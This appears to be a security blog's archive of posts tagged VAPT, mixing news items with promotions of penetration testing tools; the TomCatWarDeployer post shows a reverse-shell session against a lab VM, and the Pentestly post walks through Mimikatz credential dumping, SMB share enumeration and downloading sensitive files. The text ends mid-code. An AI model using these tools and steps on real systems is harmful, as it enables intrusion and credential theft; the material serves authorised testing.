‏إظهار الرسائل ذات التسميات VAPT. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات VAPT. إظهار كافة الرسائل

الأربعاء، 4 يناير 2017

Hakku A Framework For Penetrating Testing And Developed On Arch Linux

Hakku A Framework For Penetrating Testing And Developed on Arch Linux


What is Hakku Framework?

Hakku is simple framework that has been made for penetration testing tools. Hakku framework offers simple structure, basic CLI, and useful features for penetration testing tools developing. Hakku is on early stages and may be unstable, so please download the released versions from github or sourceforge, don't just clone github repository except you don't want stability, you want to try out latest features, or you just want to develop Hakku. Hakku is under MIT license, in other words you can do what you ever want with the source code.

What will i need to run Hakku framework?

Hakku framework is written in python 3, and developed mainly on Arch Linux. So you should get Hakku framework running with Linux based operating system, python 3.5, and the dependencies.

How i can get started?

If you are new to Hakku framework you should look at the official wiki.

OS support

  • Linux supported, and developed on/for linux
  • OS X support not planned
  • Windows support not planned

Basic features

Hakku framework features basic CLI to load up and run penetration testing tools, simple scripting interface, and python api.

Modules


Total count of modules: 24

apache_users
arp_dos
arp_monitor
arp_spoof
bluetooth_pod
cloudflare_resolver
dhcp_dos
dir_scanner
dns_spoof
email_bomber
hostname_resolver
mac_spoof
mitm
network_kill
pma_scanner
port_scanner
proxy_scout
whois
web_killer
web_scout
wifi_jammer
zip_cracker
rar_cracker
wordlist_gen


Dependencies


Hakku framework itself doesn't need nothing more than python 3.5, but it's network scanner requires tcpdump. Hakku includes all python dependencies so you don't have to install them.

All module dependencies are listed below. ethtool, aircrack-ng, ettercap-text-only, dsniff, xterm, driftnet, tcpdump, libnetfilter-queue-dev, python3.5-dev, hcitool, sslstrip, l2ping.



Download Hakku

الأربعاء، 24 أغسطس 2016

OWASP Mth3l3m3nt Framework: A Penetration Testing Aiding And Exploitation Framework Tool

OWASP Mth3l3m3nt Framework: A Penetration Testing Aiding And Exploitation Framework Tool


OWASP Mth3l3m3nt Framework: A Penetration Testing Aiding Tool And Exploitation Framework


It fosters a principle of attack the web using the web as well as pentest.


Modules Packed in so far are:

  • Payload Store
  • Shell Generator (PHP/ASP/JSP/JSPX/CFM)
  • Payload Encoder and Decoder (Base64/Rot13/Hex/Hexwith \x seperator/ Hex with 0x Prefix)
  • CURL GUI (GET/POST/TRACE/OPTIONS/HEAD)
  • LFI Exploitation module (currently prepacked with: Koha Lib Lime LFI/ Wordpress Aspose E-book generator LFI/ Zimbra Collaboration Server LFI)
  • HTTP Bot Herd to control web shells.
  • WHOIS
  • String Tools
  • Client Side Obfuscator
  • Cookie Theft Database (Enables you to steal session cookies & download page content if a stored XSS is present)

Screenshot Mth3l3m3nt Shell Generator

Currently it is set to use a flat file database.

Copy all the files into your webroot except db_dump_optional

Ensure the Folders Below are writeable:

  • tmp
  • framework/data
  • framework/data/site_config.json
  • incoming/
  • scripts/


It should run from the get go All just navigate to it.

the login url is: /cnc

username:mth3l3m3nt password:mth3l3m3nt

By Default I have set it to use the JIG database but this you can change at any point in the backend. The DB Dump in place is for users who use MySQL and need demo data. Unfortunately I have only done for MySQL. It's my DB of choice.

If you would like to switch from JIG you can do so in the settings. Please note the DB has to be created, it only populates it with the required tables, it doesn't drop or create the DB , other supported Databases are:

  • Mongo DB
  • MSSQL
  • PostgreSQL
  • SQLite
  • MySQL

Screenshot Mth3l3m3nt Dashboard

Other than SQLite please ensure that you have the PHP extensions for the Databases above so that it can access them through PHP Data Objects.

For MySQL users needing MySQL Sample Data like alot of it especially payloads switch the database to MySQL and import data from the Dump to populate.

You may also send them or subscribe to the mailing list: https://lists.owasp.org/mailman/listinfo/owasp-mth3l3m3nt-framework-project

It's been tested on :

  • Apache
  • Litespeed
  • Nginx
  • Lighttpd


Incase you test on another server please give your review.

If installing it in a subfolder edit the .htaccess file to reflect the RewriteBase as the subfolder.

Download

الثلاثاء، 19 يوليو 2016

TomCatWarDeployer: Apache Tomcat Auto WAR Deployment And Pwning Penetration Testing Tool

TomCatWarDeployer: Apache Tomcat Auto WAR Deployment And Pwning Penetration Testing Tool


TomCatWarDeployer: Apache Tomcat Auto WAR deployment & Pwning Penetration Testing Tool..


Apache Tomcat auto WAR deployment & pwning penetration testing tool.


What is it?

This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterwards and provide nice shell (either via web gui, listening port binded on remote machine or as a reverse tcp payload connecting back to the adversary).

In practice, it generates JSP backdoor WAR package on-the-fly and deploys it at the Apache Tomcat Manager Application, using valid HTTP Authentication credentials that pentester provided (or custom ones, in the end, we all love tomcat:tomcat ).

Usage

As simple as providing server's address with port, as a IP:PORT pair. Here goes the help:

user$ python tomcatWarDeployer.py --help

    tomcatWarDeployer (v. 0.3)
    Apache Tomcat 6/7 auto WAR deployment & launching tool
    Mariusz B. / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

Usage: tomcatWarDeployer.py [options] server

server    Specifies server address. Please also include port after colon.

Options:
  -h, --help     show this help message and exit

  General options:
    -v, --verbose       Verbose mode.
    -s, --simulate      Simulate breach only, do not perform any offensive
                        actions.
    -G OUTFILE, --generate=OUTFILE
                        Generate JSP backdoor only and put it into specified
                        outfile path then exit. Do not perform any
                        connections, scannings, deployment and so on.
    -U USER, --user=USER
                        Tomcat Manager Web Application HTTP Auth username.
                        Default="tomcat"
    -P PASS, --pass=PASS
                        Tomcat Manager Web Application HTTP Auth password.
                        Default="tomcat"

  Connection options:
    -H RHOST, --host=RHOST
                        Remote host for reverse tcp payload connection. When
                        specified, RPORT must be specified too. Otherwise,
                        bind tcp payload will be deployed listening on 0.0.0.0
    -p PORT, --port=PORT
                        Remote port for the reverse tcp payload when used with
                        RHOST or Local port if no RHOST specified thus acting
                        as a Bind shell endpoint.
    -u URL, --url=URL   Apache Tomcat management console URL. Default:
                        /manager/
    -t TIMEOUT, --timeout=TIMEOUT
                        Speciifed timeout parameter for socket object and
                        other timing holdups. Default: 10

  Payload options:
    -R APPNAME, --remove=APPNAME
                        Remove deployed app with specified name. Can be used
                        for post-assessment cleaning
    -X PASSWORD, --shellpass=PASSWORD
                        Specifies authentication password for uploaded shell,
                        to prevent unauthenticated usage. Default: randomly
                        generated. Specify "None" to leave the shell
                        unauthenticated.
    -T TITLE, --title=TITLE
                        Specifies head>title for uploaded JSP WAR payload.
                        Default: "JSP Application"
    -n APPNAME, --name=APPNAME
                        Specifies JSP application name. Default: "jsp_app"
    -x, --unload        Unload existing JSP Application with the same name.
                        Default: no.
    -C, --noconnect     Do not connect to the spawned shell immediately. By
                        default this program will connect to the spawned
                        shell, specifying this option let's you use other
                        handlers like Metasploit, NetCat and so on.
    -f WARFILE, --file=WARFILE
                        Custom WAR file to deploy. By default the script will
                        generate own WAR file on-the-fly.

And sample usage on Kevgir 1 VM by canyoupwn.me running at 192.168.56.100:8080 :

user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080

    tomcatWarDeployer (v. 0.3)
    Apache Tomcat 6/7 auto WAR deployment & launching tool
    Mariusz B. / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│   ├── META-INF
│   │   └── MANIFEST.MF
│   └── WEB-INF
│       └── web.xml
└── index.jsp

3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme

tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)

tomcat7@canyoupwnme $ exit

The program will set-up a local listener for reverse-shell connection on the 192.168.56.102:4449 host (local host) as in the example above. Then, after invoking JSP Backdoor it will automatically connect with the local listener, resulting in shell being popped up. One can also skip -H parameter in order to go with bind shell functionality, whereas rather then setting local listener - the program will go and connect with remotely listening bind-shell.

Finally, the above invocation will result in the following JSP application accessible remotely via WEB:


JSP backdoor gui

As one can see, there is password needed for leveraging deployed backdoor, preventing thus unauthenticated access during conducted assessment.

Summing up, user has spawned WEB application providing WEB backdoor, authenticated via POST 'password' parameter that can be specified by user or randomly generated by the program. Then, the application upon receiving X-Pass header in the invocation phase, spawned reverse connection to our netcat handler. The HTTP header is being requested here in order to prevent user refreshing WEB gui and keep trying to bind or reverse connect. Also this makes use of authentication to reach that code.

That would be all I guess.

CHANGELOG

19.07.16: Version 0.3: Added bind-shell & Reverse-shell functionality to provide user with direct access to the shell.

TODO


  1. Implement bind & reverse tcp payload functionality as well as some pty to interact with it
  2. Finish implementing noconnect and connect functionality
  3. Implement sort of communication authentication and encryption/encoding, to prevent flow of plain-text data through the wire/ether
  4. Test it on tomcat8

الاثنين، 20 يونيو 2016

18 Year Old Hacks Pentagon Websites And Receives Appreciation From Government

18 Year Old Hacks Pentagon Websites And Receives Appreciation From Government


David Dworken, an 18 year old recent high school graduate from Washington area, appeared at the Pentagon ceremony alongside Cartar and said he worked on finding bugs in spare time.

He has been participating in bug bounty programs since he was in 10th grade and plans to study computer science in college.

Although David has not earned any rewards because he discovered flaws which are already reported by others but he said taking part in this event is not less than rewarding in terms of networking.

He said, “I am just in high school and I have recruiters contacting me for internships over the summer”.

Based on the success of “Hack the Pentagon” program, Carter said his department is working to expand the bug bounty program create a new initiative for it similar to bug bounty program for Facebook, twitter etc. Hack the Pentagon program paid the decent amount of rewards to the white hacker for finding flaws in Pentagon website which ran from 18th April to 12th May. But in this, hacker tried to exploit only 5 public facing websites defence.gov, dodlive.mil, dvidshub.net, myafn.net and dimoc.mil.

The department believes that this concept will be successful if it is applied to many or all of departments of defence.

“Hack the Pentagon” event is the first bug bounty program in the history of federal government and attracted more than 1,400 hackers including students. This event was a cost effective way to supplement and support to our dedicated people.

In this event, hackers were invited for finding the security flaws in 5 Pentagon websites but participants are required to be US citizens and go through the background check before being accepted into the program. As a result of the event, it discovered around 1189 vulnerabilities in 5 Pentagon websites from which 138 of them are legitimate and unique.

Total cost for this event is $150,000, from which half of that is going to the hacker.

In one of the ceremonies at Pentagon, Carter said:
“It's not a small sum, but if we had gone through the normal process of hiring an outside firm to do security audit and vulnerability assessment, which is what we usually do, it would have cost us more than $1 million.”

الأربعاء، 8 يونيو 2016

Matriux: A Fully Featured Security Distribution Cyber Forensic Tool

Matriux: A Fully Featured Security Distribution Cyber Forensic Tool

Matriux: A Fully Featured Security Distribution Tool


Matriux is a GNU/Linux, Debian-based security distribution that is designed for diffusion testing as well as for the investigations of cyber forensic. 


But it is a mainly designed for security enthusiasts as well as professionals that can also be used usually as your default OS and it is also used through any Linux user which performs as a desktop system for day-to-day computing.  

Even the standard Debian software that also ships with an optimized GNOME desktop interface above 300 open-source tools for penetration testing as well as a custom-built Linux kernel.

It is designed for the run from a live environment such as a CD / DVD or USB stick or it can be simply installed on your hard disks in a few steps in no time. As well as it also includes a combination of computer forensics and data recovery tools which can be used for forensic analysis as well as investigations and data retrieval.

Now Matriux is a member of OIN(Open Invention Network).

Fundamental Statistics:
  • OS Type: Linux
  • Based On: Debian
  • Origin: India
  • Architecture: i386

License:
    
GNU General Public License version 2.0 (GPLv2)

Features:
  • Custom kernel 3.9.4 (patched with aufs, squashfs, and xz filesystem mode, includes support for wide range of wireless drivers and hardware) Includes support for alfa card 0036NH
  • It has faster interface
  • It consists more than 340 tools powerful for penetration testing and forensics
  • There are a new section PCI-DSS tools in Arsenal
  • It has high emphasis on forensics
  • It supports greater hardware 
  • Matriux comes with custom installer
  • It also supports USB persistence
  • UI inspired from Greek Mythology
  • It also included IPv6 tools.
  • It has easy integration with VirtualBox and VMware player even in Live mode.
  • Even it also includes latest tools introduced at Blackhat 2013 and Defcon 2013, Updated build until September 22, 2013.

DOWNLOAD HERE

الجمعة، 27 مايو 2016

Should You Use an Online Web Security Scanning Service or a Desktop Vulnerability Scanner?



Should You Use an Online Web Security Scanning Service or a Desktop Vulnerability Scanner?


Chances are, you’re well aware of the fact that many popular applications have moved from the desktop the cloud over the past few years.

Word processors, spreadsheets, accounting software and graphic design tools, in many instances, have all made the shift to cloud-based applications. It should come as no surprise that web application vulnerability scanners are also available as cloud applications — often referred to as SaaS (software as a service).

As prevalent as cloud-based applications have become, there are still times when more traditional desktop applications remain the ideal choice. The question is, when evaluating a web application vulnerability scanner, how should you decide between a desktop application or cloud service? Which one is most suitable for your particular use and which one will be most capable of meeting your needs in the future?

In this post, we’re going to take a closer look at some of the benefits and drawbacks of each option and help you to make a more informed decision in the process.

Desktop Web Application Vulnerability Scanners


From a technology standpoint, both the desktop and online web vulnerability scanners usually rely on the exact same technology. Ideally, you should be able to configure both versions in the same way. As well, the results from each application should be comparable, if not identical. However, this is a feature you should investigate prior to making a purchasing decision as not all scanners have the same capabilities.

There are a variety of other factors that should be considered when selecting the desktop versions of a web application vulnerability scanners including:

Updating the Vulnerability Database


For the end user, a locally installed application means you are responsible for keeping the application up to date. As new web application vulnerability checks are added to the database, most desktop applications will either automatically update or advise you that an update is available. However, in the end, the responsibility of ensuring that the software is up-to-date and properly maintained falls on the end user.

Reduced Scalability of Desktop Scanners


A locally installed web application vulnerability scanner relies on your individual hardware. That means the speed and scalability of scanning can vary greatly depending on the type of hardware you are running. Although your desktop application may allow you to launch multiple instances (and thus scan multiple web applications at once), you’ll eventually come up against hardware limitations.

In addition to hardware limitations, a desktop application offers less functionality in terms of collaboration — making them ideally suited for individuals or very small teams whose requirements are relatively limited.

However, don’t automatically assume that desktop vulnerability scanners are the best choice for someone working as an independent security professional or pen tester. If you’re objective is to scale your business, a cloud-based vulnerability scanner could still be a more appropriate solution.

Cloud-Based Web Application Vulnerability Scanners


Cloud-based web application vulnerability scanners offer a variety of features that make them unique (but not necessarily better) than desktop scanners. When making a decision between the two, you’ll need to carefully weigh out the differences.

Functionality and Adaptability


Not all cloud-based scanners offer the same degree of configurability when compared to desktop scanners. A potential drawback of cloud-based applications is that they are often designed to appeal to a large number of users and in most cases, that involves sacrificing certain functionality. If you’re selecting a cloud-based scanner, check to see what limitations (if any) might apply to your cloud-based solution.

Cloud-based Vulnerability Scanners are Low Maintenance


Cloud-based security scanners, unlike their desktop alternatives, offer a truly low maintenance solution. Updating the database of vulnerabilities, improving the user interface and maintaining the hardware upon which the scanner runs are all the responsibility of the software provider. This frees up your resources, allowing you to spend more time on development and testing. It also saves you from having to maintain more expensive hardware.

Unprecedented Scalability


This is an area where cloud-based security scanners hold an edge over their desktop counterparts. You can easily scale from scanning a single web application to hundreds or even thousands with little additional effort and no additional resource requirements.

Easily Collaborate With Your Team


In instances where you’re working with a team of application developers or pen testers, cloud-based web application security scanners can offer a variety advantages. The exact features will vary depending on the software but here are some typical collaboration features to look for:

1. The ability to support multiple users with each user being granted customizable privileges.
2. The ability to monitor the activity logs of individual users.
4. Vulnerabilities marked as fixed are automatically rescanned which dramatically reduces the need for detailed oversight.

Should you Choose a Cloud or Desktop Based Vulnerability Scanner?


As with everything security related, there is no perfect, “one size fits all” solution. Both desktop and cloud applications present a variety of advantages and disadvantages. The weight of which are influenced by your specific requirements and objectives.

Desktop based web application vulnerability scanners are ideally suited to situations where scalability and collaboration are not overly important — it would be possible but highly inefficient. While a desktop application might be capable of scanning hundreds of websites per month, it can be challenging to scale beyond that level.

In contrast, cloud-based web application vulnerability scanners can potentially offer the same functionality as their desktop counterparts (not all do). In situations where scalability, collaboration and low maintenance are important, cloud-based solutions are usually the best option.


الأحد، 8 مايو 2016

BeeCrypt: Cryptography Library Toolkit



BeeCrypt: Cryptography Library Toolkit


BeeCrypt is a constant project to offer a strong as well as the fast toolkit of cryptography. In which it includes entropy sources, random generators, block ciphers, hash functions, message authentication codes, multi-precision integer routines, and also primitives of a public key.


In other words, you can say that BeeCrypt is a cryptography library toolkit that includes the highly optimized C as well as the implementations of the assembler of many well-known algorithms in which involving Blowfish, MD5, SHA-1, Diffie-Hellman, and ElGamal. 

As other crypto libraries are designed to solve only one specific problem, be encrypt is designed to  as general purpose toolkit that can be used in a range of applications. There are also no copyright or royalty issues which are associated with BeeCrypt.

Installing Process Of The BeeCrypt Cryptography Library:

For installing the BeeCrypt basically you have the following options:

1. Installing From The Source Code:
  • Getting the source code-

The primary location for download the source code is by of a Virtual Unlimited's download page. Optionally you can download it from SourceForge.

  • Unpacking-

Once you have downloaded the source code then unpack it with GNU tar if you have it otherwise on Windows you can use WinRAR.

  • Configuring, building and installing-

The library can be designed on various kind of different platforms.

2.Installing The Precompiled Versions:

Here are more than a few different flavors of precompiled versions are present which are follows:
  • Win32 BeeCrypt DLLs-

Virtual Unlimited builds the precompiled BeeCrypt DLL as well as LIB files which are working on the class processors of Pentium.  And if you wish to build up your own software with these files then you will also require the header files from the source code. You can see 'Getting the source code'.
  • RedHat RPMS-

Virtual Unlimited builds the BeeCrypt RPM packages for each and every release for the smallest amount of the following platforms such as i386, i586, i686, PowerPC. 

Until we get access to more platforms then we will try to build more RPMS available; As you can see that it should not be too complex to obtain the BeeCrypt SRPM file which installs it and also compiles your own RPMS from it.

Make a note of that RPM packages initiating at Virtual Unlimited that will consist a signature by which you can verify with this key.
  • Debian Packages-
Thanks to Luca Filipozzi there are Debian packages available for BeeCrypt. You can determine these packages on several mirror sites of Debian.


الأربعاء، 9 مارس 2016

South Korea Accuses North Korea For Hacking Their Railway Systems


South Korea Accuses North Korea For Hacking Their Railway Systems 


There is an accused occurred to Pyongyang for attempting to hack the railway control systems and smartphones of wiretap officials of South Korea. And this accused has been occurred by South Korea’s National Intelligence Service.


On Tuesday, the National Intelligence Service said in a press conference that the hackers penetrated the smart phones of senior South Korean Officials and they used to send texts or voice messages which is later reported by Yonhap news agency.

The NIS has also claimed that the North Korean attackers are reaching the targets to gain the control over the railroad systems of South Korea by hacking the e-mail accounts of South Korean railway workers.

NIS also said that it was detected that attacking attempts were done by North Korean hackers that were against the railway network employees, but it can't be assumed that what is the specific objective of these attacks. As well as those hackers had been interrupted and their email accounts were also closed.

The agency said, “The move was a step to prepare for cyber terror against the railway transport control.” 

Due to the increased chances of attack, the safety measures should be tightened and all subway lines in Seoul should step up their network security.

Last week in the international community toughened sanctions the Intelligence service has already been warned that North Korea is “likelier than ever” for carrying more hacking attacks.

Reuters reported that according to the accounts of attackers of North  Korea that is a secretive country which is creating its cyber capabilities for destroying computer systems as well as controlling the telecommunications and other useful sections.

However, according to the government policy of North Korea, most of the online services are distributed in all institutions individually by a free domestic-only intranet which is known as Kwanmyong. And the interesting part is that only limited users have the accessibility power to the global network in which government employees and foreigners comes under special authorization. 

That’s why North Korea has repeatedly been accusing of hacking attempts against the South Korea. Even in 2013 Seoul claimed that Pyongyang for disabling cyber attacks that froze all the network system of their banks as well as broadcasters for days.

It did not stop there, the list is going to be increased and again in December 2014, North Korea was blamed on Sony Pictures Entertainment for cyber attacks. According to the New York Times, later in December of the same year, North Korean again faced the accessing problems. And now this time, the US was suspected of a complete outage failure due to which the whole internet accessibility was destroyed.

Whereas Chosub Ilbo newspaper reported that according to the National Assembly Intelligence Committee of South Korea in August last year, the North Korean attackers also attempted to hack the smart phones of some 1000 "important figures."

Even high alert had been announced in South Korea since the North Korea conducted a nuclear test in January and satellite launch in February that is seen by many people in the West as a trial launch of missile which is a long-range ballistic missile. And both of them triggered for a new UN sanctions and also for an intensive US-South Korean military drill.

Even on Monday, some 15000 American troops and 3,00,000 South Korean personnel commenced for testing their readiness to counter what both the countries called the threat of North Korea. 

Reuters reported earlier Tuesday that Seoul will introduce a new set of sanctions against the 40 individuals and 30 entities, and the suspected was linked to North Korea’s weapons program. Whereas the financial sanctions suspected towards a Singaporean and a Taiwanese national. 

Now Seoul will ban vessels that is stopped at North Korean ports in the past 180 days. That will become the discouraging point for shipping and trading companies for doing business with the North Korea.

A Foreign Ministry Official said to the reporters in a joint briefing with other agencies that this does not end here the Seoul will also cancel the chances of the participation in a pilot project that brought Russian coal to South Korea through the North Korean port of Rajin.


الثلاثاء، 1 مارس 2016

New Malware Targeting Mac OS X


New Malware Targeting The Second Most Widely Used Desktop OS "Mac OS X" 


From Palo Alto Networks, SentinelOne, and Synack, who are security researchers by profession have been analyzing a new malware sample from the past few weeks. That new malware sample is targeting Mac OS X.


Around the world, the HackingTeam sells surveillance software (a legal term for malware) to governments. The HackingTeam is a controversial Italian Company.

A series of malware has been discovered by the Claud Xiao, a security researcher from Palo Alto, that seems to him very suspicious. Once they had shared the binaries with infosec community, these all ended up in the hands of some OS X security specialists. According to both (SentinelOne's Pedro Vilaca and Synack's) the researchers, the new malware contains the malicious binaries which resembled same as the malware which was uncovered by the HackingTeam data breach last summer. Both are not sure at the moment that behind all these, Hacking Team is involved, but soon they will find it out.

According to the researcher, malicious binaries that are contained by the malware are only droppers, not anything complex. If we talk about Droppers then it can be defined as the computer viruses classes that contain functions. They possess a capability to infect computers and are able to communicate with a C&C server and also the specific piece of malware variant can be downloaded, based on infected system details. When the researchers were analyzing the malware, they also found that, at that time antivirus engines in Google's VirusTotal service weren't flagging it as malicious.

The HackingTeam's Remote Control System (RCS) has been installed by the malware onto the computer, as this time malware is a "dropper". The code of "dropper" is also same as the code which was prior to their hack last year.

When the network of a HackingTeam in July 2015 was hacked, that time almost 400GB of confidential information was leaked which include emails, firms-government relationship, and many more sensitive information. 

Now, this time, the target is Mac OS, the second most widely used desktop OS after Windows.

How to check whether you are affected or not?

To check if you are infected or not look for Bs-V7qIU.cYL or _9g4cBUb.psr which is dropped into the ~/Library/Preferences/8pHbqThW/ directory.
If you find any of these codes then delete that entire directory, and remove the ~/Library/LaunchAgents/com.apple.FinderExtAvt.plist file.


الثلاثاء، 23 فبراير 2016

Pentestly A Python and Powershell Internal Penetration Testing Framework Tool

Pentestly A Python and Powershell Internal Penetration Testing Framework Tool

Pentestly: A Python and Powershell Internal Penetration Testing Framework Tool


Pentestly is a tool for penetration tests. It is a combination of expanding Python tools. The main aim of the Pentestly tool is to utilize the familiar user interface. With the power of Python, the contribution to the framework should be easy. Pentestly utilizes the power of Python, Powershell etc tools together in a familiar user experience.


These are the current tools utilized in Pentestly:

Invoke-Mimikatz.ps1 - By using this tool, we can easily implement Mimikatz in Powershell.
wmiexec.py - These tools enable us to execute Powershell commands quickly and easily via WMI.
recon-ng - For data manipulation recon-ng (Backend database) is beautifully made and leveraged.
smbmap.py - It is used for enumerating SMB shares.
powercat.ps1 - For providing Netcat-esque functionality in Powershell


Features of Pentestly:

>> It is able to import NMAP XML.
>> It can also enable to test SMB authentication using the following:
  •       credentials of an individual.
  •       file containing and null credentials.
  •       By using NTLM hash also.

>> For SMB authentication successful it can test local administrator privileges also.
>> It can also identify readable SMB shares for valid credentials
>> It also provides the feature of Storing Domain/Enterprise Admin account names.
>> It can easily determine a location of running Domain Admin processes and can also determine systems of logged in Domains Admins.
> It also provides a feature of executing Powershell commands in memory and exfil results and Mimikatz to gather plaintext password from memory.


How you can install it:

For installation you need to follow these steps or commands:

git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly


How you can use it:

Step 1-Workspace must be changed-

[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project


Step 2- Load from nmap

[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

Name              Current Value                  Required    Description
--------          -------------                  --------    -----------
FILENAME  /root/PROJECT/full-all-alive.xml         yes        Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

Step 3- Test logins

For test logins use file with creds 

[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

Single username & password must be used

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

Use credentials over a small subset of IPs 

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Step 4- Domain and Enterprise admins must be Gather

[pentestly][project][login] > load get_domain # Notice fuzzy searching - get_domain finds get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

Name    Current Value  Required  Description
------  -------------  --------  -----------
SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2


Step 6-Mimikatz should be run over IPs with executable rights

[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
For hosting scripts select the  local interface 

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] Execution creds: domain\Admin:adminpassword@192.168.1.1
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

Step 7- Show local admins

[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

Step 8-Show domain admins

[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Step 9-Enumshares:

[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:BadAdminPassword@192.168.224.252
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

Step 10-Show new shares:

[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

Step 11-Find/Download interesting files

[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
-------  -------------                                                         ---------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames
    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)

Can change the pattern to something a bit more specialized

[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames
    SOURCE   default                     yes       source of input (see 'show info' for details)

Execute and download found files

[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:BadAdminPassword@192.168.224.252
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt


Contributing:

Creating new modules is easy in Pentestly. Begin with the code provided in skeleton.py:

from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
